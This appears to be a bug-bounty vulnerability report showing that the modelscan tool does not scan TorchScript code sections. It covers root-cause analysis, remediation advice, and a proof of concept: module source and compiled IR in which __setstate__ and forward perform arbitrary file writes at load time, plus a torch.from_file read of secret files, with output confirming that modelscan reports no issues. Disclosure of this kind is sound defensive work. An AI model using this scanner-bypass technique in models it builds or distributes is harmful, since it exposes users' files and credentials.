YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
- modelscan misses TorchScript code-section file I/O: scripted
__setstate__/forwardperform arbitrary file write attorch.jit.load()and arbitrary file read/exfil, while modelscan reports 0 issues
modelscan misses TorchScript code-section file I/O: scripted __setstate__/forward perform arbitrary file write at torch.jit.load() and arbitrary file read/exfil, while modelscan reports 0 issues
Target / scope
- huntr "Affected" dropdown:
protectai/modelscan - Affected tool / version: modelscan 0.8.8 (latest at time of writing; the affected code path is unchanged on
main). Reproduced with PyTorch 2.12.0. - Vulnerability class: Scanner bypass (detection gap) leading to arbitrary file write (at model-load time, pre-inference) and arbitrary file read / exfiltration.
- Format: PyTorch TorchScript
.pt(zip-format produced bytorch.jit.save)..pt/.pth/.ckpt/.binare all routed identically by modelscan.
Severity (honest)
MediumβHigh; dollar tier: up to ~$1,500 (pickle/PyTorch-family ceiling).
modelscan's own threat model is "detect unsafe code in a model so you can refuse to load it." This finding defeats that for the entire TorchScript surface: a model that is malicious by inspection passes with 0 issues, and merely calling torch.jit.load() on it β the exact action the scanner exists to gate β already writes an attacker-controlled file to an attacker-controlled absolute path.
I am being deliberately precise about impact tiering:
- Confirmed primitives (demonstrated below):
- Scanner bypass β
modelscanreturnstotal_issues: 0on an obviously-malicious model. - Arbitrary file WRITE at
torch.jit.load()time (via scripted__setstate__), to any absolute path the loading process can write (PoC writes to the OS temp dir, outside the model directory). - Arbitrary file WRITE at first inference (via scripted
forward). - Arbitrary file READ / exfiltration (via
aten::from_file): the bytes of any file the process can read become the model's normal output tensor.
- Scanner bypass β
- Not directly demonstrated (so not claimed as proven): turnkey RCE. The load-time arbitrary file write is a textbook RCE primitive (overwrite
~/.bashrc, a Python file already on the import path, a crontab, anauthorized_keys, a CI artifact, etc.), but I am not shipping a write-to-startup chain here, so I rank this as file-access, not RCE, per honest convention. RCE > file-access > DoS; this sits at file-access with a credible escalation path.
.pt/TorchScript is in the pickle/PyTorch family, so I peg the realistic bounty ceiling at ~$1,500, not the $4k tier reserved for .joblib/.keras/.gguf/.safetensors/TF-SavedModel.
Summary
modelscan treats a .pt as a generic zip: it unzips it and dispatches each inner member to a scanner by file extension. The only members that get scanned are the inner pickle streams (data.pkl, constants.pkl). The executable TorchScript code section β code/__torch__/<module>.py, the compiled TorchScript IR that actually runs on load and inference β is given no scanner and is reported as SCAN_NOT_SUPPORTED.
An attacker therefore puts nothing dangerous in the pickle streams (so the pickle scanner is happy) and instead authors the malicious behavior in scripted methods. TorchScript exposes file-I/O builtins that compile straight into the IR:
torch.save(obj, path)βaten::saveβ arbitrary file writetorch.from_file(path, ...)βaten::from_fileβ arbitrary file read
__setstate__ runs during torch.jit.load() (before any inference), and forward runs on first inference. Both are invisible to modelscan.
Root cause (file:line)
modelscan 0.8.8, installed tree paths shown.
The PyTorch scanner deliberately abandons every modern (zip)
.pt.modelscan/scanners/pickle/scan.py,PyTorchUnsafeOpScan.scan:# lines 27-29 if _is_zipfile(model.get_source(), model.get_stream()): return Nonetorch.jit.savealways emits a zip (PK\x03\x04), so_is_zipfileisTrueand the PyTorch scanner returnsNonefor the container β it never disassembles the model as a unit, so it never sees the TorchScript IR.The container is then unzipped and members are re-dispatched by extension.
modelscan/modelscan.py,ModelScan._iterate_models(lines 94-112): for a zip, modelscan iterateszip.namelist()and yields each inner file as its ownModel, keyed by its name/suffix.Extension β format mapping assigns a format only to known extensions.
modelscan/middlewares/format_via_extension.py(lines 8-15) maps suffix β format usingDEFAULT_SETTINGS["middlewares"][...]["formats"]inmodelscan/settings.py(lines 75-93). The inner members are:β¦/data.pkl,β¦/constants.pklβ suffix.pklβ PICKLE β scanned byscan_pickle_bytes.β¦/code/__torch__/<mod>.pyβ suffix.pyβ no format β no scanner.β¦/data/0,β¦/version,β¦/byteorderβ no recognized suffix β no scanner.
Members with no format match no scanner and are silently skipped.
modelscan/modelscan.py,_scan_source(lines 209-219): if no scanner claimed the member, it is appended toskippedasSkipCategories.SCAN_NOT_SUPPORTED. The dangerouscode/__torch__/<mod>.pylands here.
Net: there is no code path in modelscan that ever parses TorchScript IR. The pickle allowlist in settings.py (unsafe_globals) is irrelevant because the attack uses zero pickle reduce gadgets β it uses TorchScript builtins (aten::save / aten::from_file) that live in the code section the scanner refuses to read.
Proof of Concept
Build (what the attacker ships)
The attacker authors a normal torch.nn.Module whose scripted methods call the file-I/O builtins, then torch.jit.save it. The malicious calls compile into code/__torch__/<mod>.py inside the .pt. Minimal source (evil_mod_template.py, paths baked in as string literals β TorchScript cannot close over Python globals):
class Evil(torch.nn.Module):
def __init__(self):
super().__init__()
self.w = torch.nn.Parameter(torch.zeros(1))
@torch.jit.export
def __setstate__(self, state):
# type: (Tuple[Tensor, bool]) -> None
# *** Executes at torch.jit.load() time ***
self.w = state[0]
self.training = state[1]
torch.save(self.w, "<ABSOLUTE_PATH>") # -> aten::save (arbitrary WRITE)
def forward(self, x):
# *** Executes at first inference ***
torch.save(x, "<ABSOLUTE_PATH>") # -> aten::save (arbitrary WRITE)
return x + self.w
Read primitive (evil_read_template.py):
def forward(self, n):
# type: (int) -> Tensor
return torch.from_file("<SECRET_PATH>", False, n, dtype=torch.uint8) # arbitrary READ
Compiled TorchScript IR that modelscan never reads
malicious_write.pt β code/__torch__/evil_mod.py (dumped from the zip):
def forward(self, x: Tensor) -> Tensor:
_0 = "β¦/PWNED_AT_INFERENCE.bin"
torch.save(x, _0)
w = self.w
return torch.add(x, w)
def __setstate__(self, state: Tuple[Tensor, bool]) -> NoneType:
_1 = "β¦/PWNED_AT_LOAD.bin"
self.w = (state)[0]
self.training = (state)[1]
w = self.w
torch.save(w, _1)
return None
Assertions and captured output
Run on Windows with the same loader/scanner versions (reproduce.py uses portable /tmp + /etc/passwd targets on Linux, falling back to a temp dir on Windows). All five assertions pass:
=== TorchScript code section modelscan does NOT scan: malicious_write/code/__torch__/evil_mod.py ===
def forward(self, x: Tensor) -> Tensor:
_0 = "β¦/PWNED_AT_INFERENCE.bin"
torch.save(x, _0)
...
def __setstate__(self, state: Tuple[Tensor, bool]) -> NoneType:
_1 = "β¦/PWNED_AT_LOAD.bin"
...
torch.save(w, _1)
[1] modelscan scan of malicious_write.pt
modelscan total_issues : 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0}
modelscan scanned_files: ['malicious_write.pt:malicious_write\\data.pkl',
'malicious_write.pt:malicious_write\\constants.pkl']
>>> modelscan reports CLEAN (0 issues): True
[2] torch.jit.load(malicious_write.pt) -> triggers __setstate__
>>> LOAD-TIME arbitrary file write at β¦/PWNED_AT_LOAD.bin : True (1180 bytes)
[3] first inference -> triggers forward()
>>> INFERENCE-TIME arbitrary file write at β¦/PWNED_AT_INFERENCE.bin : True (1180 bytes)
[4] arbitrary file READ via malicious_read.pt (aten::from_file)
modelscan total_issues : 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0}
target read : β¦/SECRET_FILE.txt
recovered (head): 'TOP-SECRET-CONTENTS-1234567890'
>>> file contents exfiltrated through model output: True
VERDICT
{
"modelscan_clean_write_model": true,
"modelscan_clean_read_model": true,
"load_time_file_write": true,
"inference_time_file_write": true,
"arbitrary_file_read_exfil": true
}
PoC SUCCESS (scanner bypass + file write + file read): True
A second variant (run_traversal_poc.py) confirms the write lands outside the model directory, in the OS temp dir (%TEMP% / /tmp), proving the path is fully attacker-controlled and not confined to the unpack location:
target (outside model dir): β¦/Temp/MODELSCAN_BYPASS_PWNED.bin
modelscan total_issues: 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0}
file written to OS temp at load time: True size: 1180
SUCCESS: True
One-command reproduction
python reproduce.py
Self-contained: builds the models, prints the un-scanned IR, runs modelscan, loads the model, and asserts scanner-bypass + load-time write + inference write + file-read exfil. Exit 0 == confirmed. No network.
Impact / realistic threat model
modelscan is positioned as the gate you run on a third-party model before loading it (Hugging Face download, model registry, supply-chain artifact). A defender who scans a TorchScript .pt, sees 0 issues, and proceeds to torch.jit.load() it gets:
- Pre-inference arbitrary file write to an absolute attacker-chosen path, in the loader's user/security context, the instant they call
torch.jit.load(). No inference required. This is the standard stepping-stone to code execution (overwrite a file already onPYTHONPATH/sys.path, a shell rc file, a unit/cron file, CI build output, etc.). - Arbitrary file read / exfiltration: any file the process can read (
/etc/passwd, cloud-credential files,.env, SSH keys, other models/datasets) is returned as the model's normal output tensor β exfiltration that looks exactly like ordinary inference output and triggers nothing in modelscan.
Because the trigger is torch.jit.load() itself, "scan, then load if clean" β the workflow modelscan is built to enable β is precisely the workflow this defeats.
Honest duplication / novelty / scope note
- Scope:
protectai/modelscanis a maintained ProtectAI project and is the canonical target for this class on huntr (TFReadFile/WriteFileop-detection and pickle-gadget reports against modelscan have been accepted historically). The affected tool here is unambiguously modelscan, notmodelaudit/picklescan, and the format is genuine first-class PyTorch TorchScript.pt, not an exotic format (tensorizer/ggml/orbax). I therefore do not flag a scope concern β this is squarely in modelscan's stated coverage (it explicitly claims PyTorch support and ships aPyTorchUnsafeOpScan). The novelty is that the PyTorch scanner self-disables on every zip-format.ptand nothing inspects the TorchScript IR. - Relationship to known issues: modelscan's PyTorch support targets the legacy/pickle representation and the TF
ReadFile/WriteFileops (seesettings.pyunsafe_tf_operators). There is no TorchScript IR analyzer. The class "pickle/TF op detection misses X" is known, but the specific bypass β the PyTorch scanner returnsNoneon all zip.pt, and the TorchScript code section is dispatched to no scanner, soaten::save/aten::from_filein__setstate__/forwardare never seen β is the concrete, reproducible gap reported here. The maintainer should confirm against their internal dedup, but I found no public advisory or issue describing theaten::save/aten::from_fileTorchScript-IR primitive against modelscan. - Not claimed: I do not claim RCE was demonstrated. The demonstrated impact is scanner-bypass + arbitrary file write (load-time) + arbitrary file read.
Remediation
The root issue is that no component parses the TorchScript code section. Options, strongest first:
- Scan the TorchScript IR. When an inner member matches
code/__torch__/**/*.py(or, better, whenPyTorchUnsafeOpScandetects atorch.jitarchive β presence of acode/dir /constants.pkl), disassemble the IR and flag a denylist of dangerous builtins/ops, at minimum:aten::save,aten::from_file,prim::PythonOp/prim::CallFunctioninto unsafe targets, and any op that performs file/network/process I/O. Mirror the existingunsafe_tf_operatorsapproach but for ATen ops. - Stop silently skipping the code section.
_scan_sourceshould not emit a quietSCAN_NOT_SUPPORTEDforcode/__torch__/*.pyinside a recognized PyTorch zip; an un-scannable executable code section in a model that the tool claims to support should be surfaced as at least a warning/HIGH "unscanned executable code" issue, so0 issuesis never returned for a TorchScript model the scanner cannot actually vet. - Don't let
PyTorchUnsafeOpScanreturnNoneon zip.pt. The earlyreturn Noneatpickle/scan.py:28means the PyTorch scanner contributes nothing for every modern.pt. It should instead route zip.ptinto a TorchScript-aware analyzer rather than relying solely on per-member extension dispatch.
A defense-in-depth note for users (not a fix for the tool): treat torch.jit.load() of untrusted models as code execution regardless of scanner output.
Files in this submission
reproduce.pyβ single self-contained reviewer script (portable/tmp+/etc/passwdon Linux; temp-dir fallback elsewhere). Exit 0 on success.build_malicious.py,evil_mod_template.py,evil_read_template.py,evil_traversal_template.pyβ minimal attacker-side builders/source.run_poc.py,run_read_poc.py,run_traversal_poc.pyβ the three decisive PoCs (write+bypass / read+exfil / write-outside-model-dir).malicious_write.pt,malicious_read.ptβ sample malicious TorchScript models (benign payload: writes small marker files / reads a chosen file).